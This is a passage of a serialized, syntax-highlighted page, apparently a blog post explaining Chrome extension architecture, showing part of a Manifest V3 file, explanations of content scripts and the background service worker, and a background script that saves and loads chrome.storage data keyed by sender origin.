[\n",{"type":32,"tag":83,"props":1220,"children":1221},{"class":85,"line":387},[1222,1226,1231,1235],{"type":32,"tag":83,"props":1223,"children":1224},{"style":102},[1225],{"type":37,"value":883},{"type":32,"tag":83,"props":1227,"children":1228},{"style":108},[1229],{"type":37,"value":1230},"storage",{"type":32,"tag":83,"props":1232,"children":1233},{"style":102},[1234],{"type":37,"value":688},{"type":32,"tag":83,"props":1236,"children":1237},{"style":96},[1238],{"type":37,"value":702},{"type":32,"tag":83,"props":1240,"children":1241},{"class":85,"line":405},[1242,1246,1251],{"type":32,"tag":83,"props":1243,"children":1244},{"style":102},[1245],{"type":37,"value":883},{"type":32,"tag":83,"props":1247,"children":1248},{"style":108},[1249],{"type":37,"value":1250},"tabs",{"type":32,"tag":83,"props":1252,"children":1253},{"style":102},[1254],{"type":37,"value":1021},{"type":32,"tag":83,"props":1256,"children":1257},{"class":85,"line":423},[1258],{"type":32,"tag":83,"props":1259,"children":1260},{"style":96},[1261],{"type":37,"value":1262},"  ],\n",{"type":32,"tag":83,"props":1264,"children":1265},{"class":85,"line":441},[1266,1270,1275,1279,1283],{"type":32,"tag":83,"props":1267,"children":1268},{"style":675},[1269],{"type":37,"value":678},{"type":32,"tag":83,"props":1271,"children":1272},{"style":90},[1273],{"type":37,"value":1274},"content_scripts",{"type":32,"tag":83,"props":1276,"children":1277},{"style":675},[1278],{"type":37,"value":688},{"type":32,"tag":83,"props":1280,"children":1281},{"style":96},[1282],{"type":37,"value":99},{"type":32,"tag":83,"props":1284,"children":1285},{"style":96},[1286],{"type":37,"value":1218},{"type":32,"tag":83,"props":1288,"children":1289},{"class":85,"line":460},[1290],{"type":32,"tag":83,"props":1291,"children":1292},{"style":96},[1293],{"type":37,"value":1294},"    {\n",{"type":32,"tag":83,"props":1296,"children":1297},{"class":85,"line":478},[1298,1303,1308,1312,1316],{"type":32,"tag":83,"props":1299,"children":1300},{"style":675},[1301],{"type":37,"value":1302},"      \"",{"type":32,"tag":83,"props":1304,"children":1305},{"style":90},[1306],{"type":37,"value":1307},"matches",{"type":32,"tag":83,"props":1309,"children":1310},{"style":675},[1311],{"type":37,"value":688},{"type":32,"tag":83,"props":1313,"children":1314},{"style":96},[1315],{"type":37,"value":99},{"type":32,"tag":83,"props":1317,"children":1318},{"style":96},[1319],{"type":37,"value":1218},{"type":32,"tag":83,"props":1321,"children":1322},{"class":85,"line":496},[1323,1328,1333],{"type":32,"tag":83,"props":1324,"children":1325},{"style":102},[1326],{"type":37,"value":1327},"        \"",{"type":32,"tag":83,"props":1329,"children":1330},{"style":108},[1331],{"type":37,"value":1332},"\u003Call_urls>",{"type":32,"tag":83,"props":1334,"children":1335},{"style":102},[1336],{"type":37,"value":1021},{"type":32,"tag":83,"props":1338,"children":1339},{"class":85,"line":514},[1340],{"type":32,"tag":83,"props":1341,"children":1342},{"style":96},[1343],{"type":37,"value":1344},"      ],\n",{"type":32,"tag":83,"props":1346,"children":1347},{"class":85,"line":526},[1348,1352,1357,1361,1365,1369,1374,1378],{"type":32,"tag":83,"props":1349,"children":1350},{"style":675},[1351],{"type":37,"value":1302},{"type":32,"tag":83,"props":1353,"children":1354},{"style":90},[1355],{"type":37,"value":1356},"run_at",{"type":32,"tag":83,"props":1358,"children":1359},{"style":675},[1360],{"type":37,"value":688},{"type":32,"tag":83,"props":1362,"children":1363},{"style":96},[1364],{"type":37,"value":99},{"type":32,"tag":83,"props":1366,"children":1367},{"style":102},[1368],{"type":37,"value":727},{"type":32,"tag":83,"props":1370,"children":1371},{"style":108},[1372],{"type":37,"value":1373},"document_idle",{"type":32,"tag":83,"props":1375,"children":1376},{"style":102},[1377],{"type":37,"value":688},{"type":32,"tag":83,"props":1379,"children":1380},{"style":96},[1381],{"type":37,"value":702},{"type":32,"tag":83,"props":1383,"children":1384},{"class":85,"line":538},[1385,1389,1394,1398,1402],{"type":32,"tag":83,"props":1386,"children":1387},{"style":675},[1388],{"type":37,"value":1302},{"type":32,"tag":83,"props":1390,"children":1391},{"style":90},[1392],{"type":37,"value":1393},"js",{"type":32,"tag":83,"props":1395,"children":1396},{"style":675},[1397],{"type":37,"value":688},{"type":32,"tag":83,"props":1399,"children":1400},{"style":96},[1401],{"type":37,"value":99},{"type":32,"tag":83,"props":1403,"children":1404},{"style":96},[1405],{"type":37,"value":1218},{"type":32,"tag":83,"props":1407,"children":1408},{"class":85,"line":548},[1409,1413,1418],{"type":32,"tag":83,"props":1410,"children":1411},{"style":102},[1412],{"type":37,"value":1327},{"type":32,"tag":83,"props":1414,"children":1415},{"style":108},[1416],{"type":37,"value":1417},"contentScript.js",{"type":32,"tag":83,"props":1419,"children":1420},{"style":102},[1421],{"type":37,"value":1021},{"type":32,"tag":83,"props":1423,"children":1424},{"class":85,"line":557},[1425],{"type":32,"tag":83,"props":1426,"children":1427},{"style":96},[1428],{"type":37,"value":1429},"      ]\n",{"type":32,"tag":83,"props":1431,"children":1432},{"class":85,"line":566},[1433],{"type":32,"tag":83,"props":1434,"children":1435},{"style":96},[1436],{"type":37,"value":1437},"    }\n",{"type":32,"tag":83,"props":1439,"children":1440},{"class":85,"line":574},[1441],{"type":32,"tag":83,"props":1442,"children":1443},{"style":96},[1444],{"type":37,"value":1445},"  ]\n",{"type":32,"tag":83,"props":1447,"children":1448},{"class":85,"line":587},[1449],{"type":32,"tag":83,"props":1450,"children":1451},{"style":96},[1452],{"type":37,"value":1453},"}\n",{"type":32,"tag":1455,"props":1456,"children":1457},"ul",{},[1458,1469,1479,1489],{"type":32,"tag":1459,"props":1460,"children":1461},"li",{},[1462,1467],{"type":32,"tag":79,"props":1463,"children":1465},{"className":1464},[],[1466],{"type":37,"value":1041},{"type":37,"value":1468},": Runs in the background and can listen to events (like network requests, tab creation, etc.).",{"type":32,"tag":1459,"props":1470,"children":1471},{},[1472,1477],{"type":32,"tag":79,"props":1473,"children":1475},{"className":1474},[],[1476],{"type":37,"value":1105},{"type":37,"value":1478},": Configures the action for the extension's toolbar icon, which users can click on.",{"type":32,"tag":1459,"props":1480,"children":1481},{},[1482,1487],{"type":32,"tag":79,"props":1483,"children":1485},{"className":1484},[],[1486],{"type":37,"value":1205},{"type":37,"value":1488},": Lists the permissions that the extension needs to function properly. These permissions are essential as they allow the extension to access certain browser features.",{"type":32,"tag":1459,"props":1490,"children":1491},{},[1492,1497],{"type":32,"tag":79,"props":1493,"children":1495},{"className":1494},[],[1496],{"type":37,"value":1274},{"type":37,"value":1498},": Scripts that run in the context of specific web pages and interact with the page’s DOM.",{"type":32,"tag":634,"props":1500,"children":1502},{"id":1501},"content-scripts",[1503],{"type":37,"value":1504},"Content Scripts",{"type":32,"tag":46,"props":1506,"children":1507},{},[1508],{"type":37,"value":1509},"These are JavaScript files that run on specified pages. Theses files that run in the context of web pages and allow Chrome extensions to interact with a page's DOM. They enable developers to access and modify the content of web pages directly, creating a bridge between the extension and the page the user is visiting.",{"type":32,"tag":634,"props":1511,"children":1513},{"id":1512},"background-service-worker",[1514],{"type":37,"value":1515},"Background Service Worker",{"type":32,"tag":46,"props":1517,"children":1518},{},[1519],{"type":37,"value":1520},"In Chrome extensions that use Manifest Version 3 (MV3), the background service worker replaces the traditional background script. This service worker is a JavaScript file that runs in the background of the browser, managing tasks that don’t require direct user interaction, such as handling events, managing persistent data, and listening for API calls.",{"type":32,"tag":46,"props":1522,"children":1523},{},[1524],{"type":37,"value":1525},"Most of the time, the background script will listen for events and process them to perform actions in the background. In our case, we can see that events are handled and processed to cache information.",{"type":32,"tag":68,"props":1527,"children":1528},{"lang":1393},[1529],{"type":32,"tag":73,"props":1530,"children":1533},{"className":1531,"code":1532,"language":1393,"meta":7,"style":7},"language-js shiki shiki-themes vitesse-dark","'use strict';\n\n// With background scripts you can communicate with popup\n// and contentScript files.\n// For more information on background script,\n// See https://developer.chrome.com/extensions/background_pages\n\nfunction save(key, value, origin) {\n  return new Promise((resolve, reject) => {\n    key = key + \"-\" + origin;\n    console.log(\"Saving: \", key, value);\n    chrome.storage.local.set({ [key]: value }, () => {\n      resolve({ message: 'Data saved successfully' })\n    })\n  })\n}\nfunction load(key, origin) {\n  return new Promise((resolve, reject) => {\n    key = key + \"-\" + origin;\n    console.log(\"Loading: \", key);\n    chrome.storage.local.get([key], data => {\n      if (data.hasOwnProperty(key) === false) {\n        return reject({ message: 'Data not found' });\n      }\n      console.log(\"Data: \", data[key]);\n      resolve(data[key]);\n    });\n  });\n}\n\nchrome.runtime.onMessage.addListener((request, sender, sendResponse) => {\n  new Promise(async () => {\n    const sender_origin = new URL(sender.tab.pendingUrl ?? sender.tab.url).origin;\n    console.log(\"Sender Origin: \", sender_origin);\n    console.log(\"Request: \", request);\n    if (request.type === \"SAVE\") {\n      save(request.payload.key, request.payload.value, sender_origin)\n        .then(response => sendResponse(response))\n        .catch(error => sendResponse({ error }));\n    } else if (request.type === \"LOAD\") {\n      load(request.payload.key, sender_origin)\n        .then(response => sendResponse(response))\n        .catch(error => sendResponse({ error }));\n    }\n  })\n  return true;\n});\n\n",[1534],{"type":32,"tag":79,"props":1535,"children":1536},{"__ignoreMap":7},[1537,1559,1566,1574,1582,1590,1598,1605,1659,1710,1758,1813,1888,1927,1935,1943,1950,1986,2029,2072,2116,2175,2232,2274,2282,2337,2364,2372,2380,2387,2394,2468,2501,2594,2638,2683,2734,2806,2850,2894,2954,2999,3039,3079,3087,3095,3112],{"type":32,"tag":83,"props":1538,"children":1539},{"class":85,"line":86},[1540,1545,1550,1554],{"type":32,"tag":83,"props":1541,"children":1542},{"style":102},[1543],{"type":37,"value":1544},"'",{"type":32,"tag":83,"props":1546,"children":1547},{"style":108},[1548],{"type":37,"value":1549},"use strict",{"type":32,"tag":83,"props":1551,"children":1552},{"style":102},[1553],{"type":37,"value":1544},{"type":32,"tag":83,"props":1555,"children":1556},{"style":96},[1557],{"type":37,"value":1558},";\n",{"type":32,"tag":83,"props":1560,"children":1561},{"class":85,"line":119},[1562],{"type":32,"tag":83,"props":1563,"children":1564},{"emptyLinePlaceholder":123},[1565],{"type":37,"value":126},{"type":32,"tag":83,"props":1567,"children":1568},{"class":85,"line":129},[1569],{"type":32,"tag":83,"props":1570,"children":1571},{"style":542},[1572],{"type":37,"value":1573},"// With background scripts you can communicate with popup\n",{"type":32,"tag":83,"props":1575,"children":1576},{"class":85,"line":143},[1577],{"type":32,"tag":83,"props":1578,"children":1579},{"style":542},[1580],{"type":37,"value":1581},"// and contentScript files.\n",{"type":32,"tag":83,"props":1583,"children":1584},{"class":85,"line":156},[1585],{"type":32,"tag":83,"props":1586,"children":1587},{"style":542},[1588],{"type":37,"value":1589},"// For more information on background script,\n",{"type":32,"tag":83,"props":1591,"children":1592},{"class":85,"line":174},[1593],{"type":32,"tag":83,"props":1594,"children":1595},{"style":542},[1596],{"type":37,"value":1597},"// See https://developer.chrome.com/extensions/background_pages\n",{"type":32,"tag":83,"props":1599,"children":1600},{"class":85,"line":192},[1601],{"type":32,"tag":83,"props":1602,"children":1603},{"emptyLinePlaceholder":123},[1604],{"type":37,"value":126},{"type":32,"tag":83,"props":1606,"children":1607},{"class":85,"line":205},[1608,1614,1620,1625,1631,1636,1641,1645,1650,1655],{"type":32,"tag":83,"props":1609,"children":1611},{"style":1610},"--shiki-default:#CB7676",[1612],{"type":37,"value":1613},"function",{"type":32,"tag":83,"props":1615,"children":1617},{"style":1616},"--shiki-default:#80A665",[1618],{"type":37,"value":1619}," save",{"type":32,"tag":83,"props":1621,"children":1622},{"style":96},[1623],{"type":37,"value":1624},"(",{"type":32,"tag":83,"props":1626,"children":1628},{"style":1627},"--shiki-default:#BD976A",[1629],{"type":37,"value":1630},"key",{"type":32,"tag":83,"props":1632,"children":1633},{"style":96},[1634],{"type":37,"value":1635},",",{"type":32,"tag":83,"props":1637,"children":1638},{"style":1627},[1639],{"type":37,"value":1640}," value",{"type":32,"tag":83,"props":1642,"children":1643},{"style":96},[1644],{"type":37,"value":1635},{"type":32,"tag":83,"props":1646,"children":1647},{"style":1627},[1648],{"type":37,"value":1649}," origin",{"type":32,"tag":83,"props":1651,"children":1652},{"style":96},[1653],{"type":37,"value":1654},")",{"type":32,"tag":83,"props":1656,"children":1657},{"style":96},[1658],{"type":37,"value":875},{"type":32,"tag":83,"props":1660,"children":1661},{"class":85,"line":219},[1662,1668,1673,1678,1683,1688,1692,1697,1701,1706],{"type":32,"tag":83,"props":1663,"children":1665},{"style":1664},"--shiki-default:#4D9375",[1666],{"type":37,"value":1667},"  return",{"type":32,"tag":83,"props":1669,"children":1670},{"style":1610},[1671],{"type":37,"value":1672}," new",{"type":32,"tag":83,"props":1674,"children":1675},{"style":90},[1676],{"type":37,"value":1677}," Promise",{"type":32,"tag":83,"props":1679,"children":1680},{"style":96},[1681],{"type":37,"value":1682},"((",{"type":32,"tag":83,"props":1684,"children":1685},{"style":1627},[1686],{"type":37,"value":1687},"resolve",{"type":32,"tag":83,"props":1689,"children":1690},{"style":96},[1691],{"type":37,"value":1635},{"type":32,"tag":83,"props":1693,"children":1694},{"style":1627},[1695],{"type":37,"value":1696}," reject",{"type":32,"tag":83,"props":1698,"children":1699},{"style":96},[1700],{"type":37,"value":1654},{"type":32,"tag":83,"props":1702,"children":1703},{"style":96},[1704],{"type":37,"value":1705}," =>",{"type":32,"tag":83,"props":1707,"children":1708},{"style":96},[1709],{"type":37,"value":875},{"type":32,"tag":83,"props":1711,"children":1712},{"class":85,"line":232},[1713,1718,1723,1728,1733,1737,1742,1746,1750,1754],{"type":32,"tag":83,"props":1714,"children":1715},{"style":1627},[1716],{"type":37,"value":1717},"    key",{"type":32,"tag":83,"props":1719,"children":1720},{"style":96},[1721],{"type":37,"value":1722}," =",{"type":32,"tag":83,"props":1724,"children":1725},{"style":1627},[1726],{"type":37,"value":1727}," key",{"type":32,"tag":83,"props":1729,"children":1730},{"style":1610},[1731],{"type":37,"value":1732}," +",{"type":32,"tag":83,"props":1734,"children":1735},{"style":102},[1736],{"type":37,"value":727},{"type":32,"tag":83,"props":1738,"children":1739},{"style":108},[1740],{"type":37,"value":1741},"-",{"type":32,"tag":83,"props":1743,"children":1744},{"style":102},[1745],{"type":37,"value":688},{"type":32,"tag":83,"props":1747,"children":1748},{"style":1610},[1749],{"type":37,"value":1732},{"type":32,"tag":83,"props":1751,"children":1752},{"style":1627},[1753],{"type":37,"value":1649},{"type":32,"tag":83,"props":1755,"children":1756},{"style":96},[1757],{"type":37,"value":1558},{"type":32,"tag":83,"props":1759,"children":1760},{"class":85,"line":245},[1761,1766,1770,1775,1779,1783,1788,1792,1796,1800,1804,1808],{"type":32,"tag":83,"props":1762,"children":1763},{"style":1627},[1764],{"type":37,"value":1765},"    console",{"type":32,"tag":83,"props":1767,"children":1768},{"style":96},[1769],{"type":37,"value":627},{"type":32,"tag":83,"props":1771,"children":1772},{"style":1616},[1773],{"type":37,"value":1774},"log",{"type":32,"tag":83,"props":1776,"children":1777},{"style":96},[1778],{"type":37,"value":1624},{"type":32,"tag":83,"props":1780,"children":1781},{"style":102},[1782],{"type":37,"value":688},{"type":32,"tag":83,"props":1784,"children":1785},{"style":108},[1786],{"type":37,"value":1787},"Saving: ",{"type":32,"tag":83,"props":1789,"children":1790},{"style":102},[1791],{"type":37,"value":688},{"type":32,"tag":83,"props":1793,"children":1794},{"style":96},[1795],{"type":37,"value":1635},{"type":32,"tag":83,"props":1797,"children":1798},{"style":1627},[1799],{"type":37,"value":1727},{"type":32,"tag":83,"props":1801,"children":1802},{"style":96},[1803],{"type":37,"value":1635},{"type":32,"tag":83,"props":1805,"children":1806},{"style":1627},[1807],{"type":37,"value":1640},{"type":32,"tag":83,"props":1809,"children":1810},{"style":96},[1811],{"type":37,"value":1812},");\n",{"type":32,"tag":83,"props":1814,"children":1815},{"class":85,"line":258},[1816,1821,1825,1829,1833,1838,1842,1847,1852,1857,1861,1866,1870,1875,1880,1884],{"type":32,"tag":83,"props":1817,"children":1818},{"style":1627},[1819],{"type":37,"value":1820},"    chrome",{"type":32,"tag":83,"props":1822,"children":1823},{"style":96},[1824],{"type":37,"value":627},{"type":32,"tag":83,"props":1826,"children":1827},{"style":1627},[1828],{"type":37,"value":1230},{"type":32,"tag":83,"props":1830,"children":1831},{"style":96},[1832],{"type":37,"value":627},{"type":32,"tag":83,"props":1834,"children":1835},{"style":1627},[1836],{"type":37,"value":1837},"local",{"type":32,"tag":83,"props":1839,"children":1840},{"style":96},[1841],{"type":37,"value":627},{"type":32,"tag":83,"props":1843,"children":1844},{"style":1616},[1845],{"type":37,"value":1846},"set",{"type":32,"tag":83,"props":1848,"children":1849},{"style":96},[1850],{"type":37,"value":1851},"({",{"type":32,"tag":83,"props":1853,"children":1854},{"style":96},[1855],{"type":37,"value":1856}," [",{"type":32,"tag":83,"props":1858,"children":1859},{"style":1627},[1860],{"type":37,"value":1630},{"type":32,"tag":83,"props":1862,"children":1863},{"style":96},[1864],{"type":37,"value":1865},"]:",{"type":32,"tag":83,"props":1867,"children":1868},{"style":1627},[1869],{"type":37,"value":1640},{"type":32,"tag":83,"props":1871,"children":1872},{"style":96},[1873],{"type":37,"value":1874}," },",{"type":32,"tag":83,"props":1876,"children":1877},{"style":96},[1878],{"type":37,"value":1879}," ()",{"type":32,"tag":83,"props":1881,"children":1882},{"style":96},[1883],{"type":37,"value":1705},{"type":32,"tag":83,"props":1885,"children":1886},{"style":96},[1887],{"type":37,"value":875},{"type":32,"tag":83,"props":1889,"children":1890},{"class":85,"line":271},[1891,1896,1900,1905,1909,1913,1918,1922],{"type":32,"tag":83,"props":1892,"children":1893},{"style":1616},[1894],{"type":37,"value":1895},"      resolve",{"type":32,"tag":83,"props":1897,"children":1898},{"style":96},[1899],{"type":37,"value":1851},{"type":32,"tag":83,"props":1901,"children":1902},{"style":90},[1903],{"type":37,"value":1904}," message",{"type":32,"tag":83,"props":1906,"children":1907},{"style":96},[1908],{"type":37,"value":99},{"type":32,"tag":83,"props":1910,"children":1911},{"style":102},[1912],{"type":37,"value":105},{"type":32,"tag":83,"props":1914,"children":1915},{"style":108},[1916],{"type":37,"value":1917},"Data saved successfully",{"type":32,"tag":83,"props":1919,"children":1920},{"style":102},[1921],{"type":37,"value":1544},{"type":32,"tag":83,"props":1923,"children":1924},{"style":96},[1925],{"type":37,"value":1926}," })\n",{"type":32,"tag":83,"props":1928,"children":1929},{"class":85,"line":284},[1930],{"type":32,"tag":83,"props":1931,"children":1932},{"style":96},[1933],{"type":37,"value":1934},"    })\n",{"type":32,"tag":83,"props":1936,"children":1937},{"class":85,"line":297},[1938],{"type":32,"tag":83,"props":1939,"children":1940},{"style":96},[1941],{"type":37,"value":1942},"  })\n",{"type":32,"tag":83,"props":1944,"children":1945},{"class":85,"line":310},[1946],{"type":32,"tag":83,"props":1947,"children":1948},{"style":96},[1949],{"type":37,"value":1453},{"type":32,"tag":83,"props":1951,"children":1952},{"class":85,"line":323},[1953,1957,1962,1966,1970,1974,1978,1982],{"type":32,"tag":83,"props":1954,"children":1955},{"style":1610},[1956],{"type":37,"value":1613},{"type":32,"tag":83,"props":1958,"children":1959},{"style":1616},[1960],{"type":37,"value":1961}," load",{"type":32,"tag":83,"props":1963,"children":1964},{"style":96},[1965],{"type":37,"value":1624},{"type":32,"tag":83,"props":1967,"children":1968},{"style":1627},[1969],{"type":37,"value":1630},{"type":32,"tag":83,"props":1971,"children":1972},{"style":96},[1973],{"type":37,"value":1635},{"type":32,"tag":83,"props":1975,"children":1976},{"style":1627},[1977],{"type":37,"value":1649},{"type":32,"tag":83,"props":1979,"children":1980},{"style":96},[1981],{"type":37,"value":1654},{"type":32,"tag":83,"props":1983,"children":1984},{"style":96},[1985],{"type":37,"value":875},{"type":32,"tag":83,"props":1987,"children":1988},{"class":85,"line":340},[1989,1993,1997,2001,2005,2009,2013,2017,2021,2025],{"type":32,"tag":83,"props":1990,"children":1991},{"style":1664},[1992],{"type":37,"value":1667},{"type":32,"tag":83,"props":1994,"children":1995},{"style":1610},[1996],{"type":37,"value":1672},{"type":32,"tag":83,"props":1998,"children":1999},{"style":90},[2000],{"type":37,"value":1677},{"type":32,"tag":83,"props":2002,"children":2003},{"style":96},[2004],{"type":37,"value":1682},{"type":32,"tag":83,"props":2006,"children":2007},{"style":1627},[2008],{"type":37,"value":1687},{"type":32,"tag":83,"props":2010,"children":2011},{"style":96},[2012],{"type":37,"value":1635},{"type":32,"tag":83,"props":2014,"children":2015},{"style":1627},[2016],{"type":37,"value":1696},{"type":32,"tag":83,"props":2018,"children":2019},{"style":96},[2020],{"type":37,"value":1654},{"type":32,"tag":83,"props":2022,"children":2023},{"style":96},[2024],{"type":37,"value":1705},{"type":32,"tag":83,"props":2026,"children":2027},{"style":96},[2028],{"type":37,"value":875},{"type":32,"tag":83,"props":2030,"children":2031},{"class":85,"line":356},[2032,2036,2040,2044,2048,2052,2056,2060,2064,2068],{"type":32,"tag":83,"props":2033,"children":2034},{"style":1627},[2035],{"type":37,"value":1717},{"type":32,"tag":83,"props":2037,"children":2038},{"style":96},[2039],{"type":37,"value":1722},{"type":32,"tag":83,"props":2041,"children":2042},{"style":1627},[2043],{"type":37,"value":1727},{"type":32,"tag":83,"props":2045,"children":2046},{"style":1610},[2047],{"type":37,"value":1732},{"type":32,"tag":83,"props":2049,"children":2050},{"style":102},[2051],{"type":37,"value":727},{"type":32,"tag":83,"props":2053,"children":2054},{"style":108},[2055],{"type":37,"value":1741},{"type":32,"tag":83,"props":2057,"children":2058},{"style":102},[2059],{"type":37,"value":688},{"type":32,"tag":83,"props":2061,"children":2062},{"style":1610},[2063],{"type":37,"value":1732},{"type":32,"tag":83,"props":2065,"children":2066},{"style":1627},[2067],{"type":37,"value":1649},{"type":32,"tag":83,"props":2069,"children":2070},{"style":96},[2071],{"type":37,"value":1558},{"type":32,"tag":83,"props":2073,"children":2074},{"class":85,"line":369},[2075,2079,2083,2087,2091,2095,2100,2104,2108,2112],{"type":32,"tag":83,"props":2076,"children":2077},{"style":1627},[2078],{"type":37,"value":1765},{"type":32,"tag":83,"props":2080,"children":2081},{"style":96},[2082],{"type":37,"value":627},{"type":32,"tag":83,"props":2084,"children":2085},{"style":1616},[2086],{"type":37,"value":1774},{"type":32,"tag":83,"props":2088,"children":2089},{"style":96},[2090],{"type":37,"value":1624},{"type":32,"tag":83,"props":2092,"children":2093},{"style":102},[2094],{"type":37,"value":688},{"type":32,"tag":83,"props":2096,"children":2097},{"style":108},[2098],{"type":37,"value":2099},"Loading: ",{"type":32,"tag":83,"props":2101,"children":2102},{"style":102},[2103],{"type":37,"value":688},{"type":32,"tag":83,"props":2105,"children":2106},{"style":96},[2107],{"type":37,"value":1635},{"type":32,"tag":83,"props":2109,"children":2110},{"style":1627},[2111],{"type":37,"value":1727},{"type":32,"tag":83,"props":2113,"children":2114},{"style":96},[2115],{"type":37,"value":1812},{"type":32,"tag":83,"props":2117,"children":2118},{"class":85,"line":387},[2119,2123,2127,2131,2135,2139,2143,2148,2153,2157,2162,2167,2171],{"type":32,"tag":83,"props":2120,"children":2121},{"style":1627},[2122],{"type":37,"value":1820},{"type":32,"tag":83,"props":2124,"children":2125},{"style":96},[2126],{"type":37,"value":627},{"type":32,"tag":83,"props":2128,"children":2129},{"style":1627},[2130],{"type":37,"value":1230},{"type":32,"tag":83,"props":2132,"children":2133},{"style":96},[2134],{"type":37,"value":627},{"type":32,"tag":83,"props":2136,"children":2137},{"style":1627},[2138],{"type":37,"value":1837},{"type":32,"tag":83,"props":2140,"children":2141},{"style":96},[2142],{"type":37,"value":627},{"type":32,"tag":83,"props":2144,"children":2145},{"style":1616},[2146],{"type":37,"value":2147},"get",{"type":32,"tag":83,"props":2149,"children":2150},{"style":96},[2151],{"type":37,"value":2152},"([",{"type":32,"tag":83,"props":2154,"children":2155},{"style":1627},[2156],{"type":37,"value":1630},{"type":32,"tag":83,"props":2158,"children":2159},{"style":96},[2160],{"type":37,"value":2161},"],",{"type":32,"tag":83,"props":2163,"children":2164},{"style":1627},[2165],{"type":37,"value":2166}," data",{"type":32,"tag":83,"props":2168,"children":2169},{"style":96},[2170],{"type":37,"value":1705},{"type":32,"tag":83,"props":2172,"children":2173},{"style":96},[2174],{"type":37,"value":875},{"type":32,"tag":83,"props":2176,"children":2177},{"class":85,"line":405},[2178,2183,2188,2193,2197,2202,2206,2210,2214,2219,2224,2228],{"type":32,"tag":83,"props":2179,"children":2180},{"style":1664},[2181],{"type":37,"value":2182},"      if",{"type":32,"tag":83,"props":2184,"children":2185},{"style":96},[2186],{"type":37,"value":2187}," (",{"type":32,"tag":83,"props":2189,"children":2190},{"style":1627},[2191],{"type":37,"value":2192},"data",{"type":32,"tag":83,"props":2194,"children":2195},{"style":96},[2196],{"type":37,"value":627},{"type":32,"tag":83,"props":2198,"children":2199},{"style":1616},[2200],{"type":37,"value":2201},"hasOwnProperty",{"type":32,"tag":83,"props":2203,"children":2204},{"style":96},[2205],{"type":37,"value":1624},{"type":32,"tag":83,"props":2207,"children":2208},{"style":1627},[2209],{"type":37,"value":1630},{"type":32,"tag":83,"props":2211,"children":2212},{"style":96},[2213],{"type":37,"value":1654},{"type":32,"tag":83,"props":2215,"children":2216},{"style":1610},[2217],{"type":37,"value":2218}," ===",{"type":32,"tag":83,"props":2220,"children":2221},{"style":1664},[2222],{"type":37,"value":2223}," false",{"type":32,"tag":83,"props":2225,"children":2226},{"style":96},[2227],{"type":37,"value":1654},{"type":32,"tag":83,"props":2229,"children":2230},{"style":96},[2231],{"type":37,"value":875},{"type":32,"tag":83,"props":2233,"children":2234},{"class":85,"line":423},[2235,2240,2244,2248,2252,2256,2260,2265,2269],{"type":32,"tag":83,"props":2236,"children":2237},{"style":1664},[2238],{"type":37,"value":2239},"        return",{"type":32,"tag":83,"props":2241,"children":2242},{"style":1616},[2243],{"type":37,"value":1696},{"type":32,"tag":83,"props":2245,"children":2246},{"style":96},[2247],{"type":37,"value":1851},{"type":32,"tag":83,"props":2249,"children":2250},{"style":90},[2251],{"type":37,"value":1904},{"type":32,"tag":83,"props":2253,"children":2254},{"style":96},[2255],{"type":37,"value":99},{"type":32,"tag":83,"props":2257,"children":2258},{"style":102},[2259],{"type":37,"value":105},{"type":32,"tag":83,"props":2261,"children":2262},{"style":108},[2263],{"type":37,"value":2264},"Data not found",{"type":32,"tag":83,"props":2266,"children":2267},{"style":102},[2268],{"type":37,"value":1544},{"type":32,"tag":83,"props":2270,"children":2271},{"style":96},[2272],{"type":37,"value":2273}," });\n",{"type":32,"tag":83,"props":2275,"children":2276},{"class":85,"line":441},[2277],{"type":32,"tag":83,"props":2278,"children":2279},{"style":96},[2280],{"type":37,"value":2281},"      }\n",{"type":32,"tag":83,"props":2283,"children":2284},{"class":85,"line":460},[2285,2290,2294,2298,2302,2306,2311,2315,2319,2323,2328,2332],{"type":32,"tag":83,"props":2286,"children":2287},{"style":1627},[2288],{"type":37,"value":2289},"      console",{"type":32,"tag":83,"props":2291,"children":2292},{"style":96},[2293],{"type":37,"value":627},{"type":32,"tag":83,"props":2295,"children":2296},{"style":1616},[2297],{"type":37,"value":1774},{"type":32,"tag":83,"props":2299,"children":2300},{"style":96},[2301],{"type":37,"value":1624},{"type":32,"tag":83,"props":2303,"children":2304},{"style":102},[2305],{"type":37,"value":688},{"type":32,"tag":83,"props":2307,"children":2308},{"style":108},[2309],{"type":37,"value":2310},"Data: ",{"type":32,"tag":83,"props":2312,"children":2313},{"style":102},[2314],{"type":37,"value":688},{"type":32,"tag":83,"props":2316,"children":2317},{"style":96},[2318],{"type":37,"value":1635},{"type":32,"tag":83,"props":2320,"children":2321},{"style":1627},[2322],{"type":37,"value":2166},{"type":32,"tag":83,"props":2324,"children":2325},{"style":96},[2326],{"type":37,"value":2327},"[",{"type":32,"tag":83,"props":2329,"children":2330},{"style":1627},[2331],{"type":37,"value":1630},{"type":32,"tag":83,"props":2333,"children":2334},{"style":96},[2335],{"type":37,"value":2336},"]);\n",{"type":32,"tag":83,"props":2338,"children":2339},{"class":85,"line":478},[2340,2344,2348,2352,2356,2360],{"type":32,"tag":83,"props":2341,"children":2342},{"style":1616},[2343],{"type":37,"value":1895},{"type":32,"tag":83,"props":2345,"children":2346},{"style":96},[2347],{"type":37,"value":1624},{"type":32,"tag":83,"props":2349,"children":2350},{"style":1627},[2351],{"type":37,"value":2192},{"type":32,"tag":83,"props":2353,"children":2354},{"style":96},[2355],{"type":37,"value":2327},{"type":32,"tag":83,"props":2357,"children":2358},{"style":1627},[2359],{"type":37,"value":1630},{"type":32,"tag":83,"props":2361,"children":2362},{"style":96},[2363],{"type":37,"value":2336},{"type":32,"tag":83,"props":2365,"children":2366},{"class":85,"line":496},[2367],{"type":32,"tag":83,"props":2368,"children":2369},{"style":96},[2370],{"type":37,"value":2371},"    });\n",{"type":32,"tag":83,"props":2373,"children":2374},{"class":85,"line":514},[2375],{"type":32,"tag":83,"props":2376,"children":2377},{"style":96},[2378],{"type":37,"value":2379},"  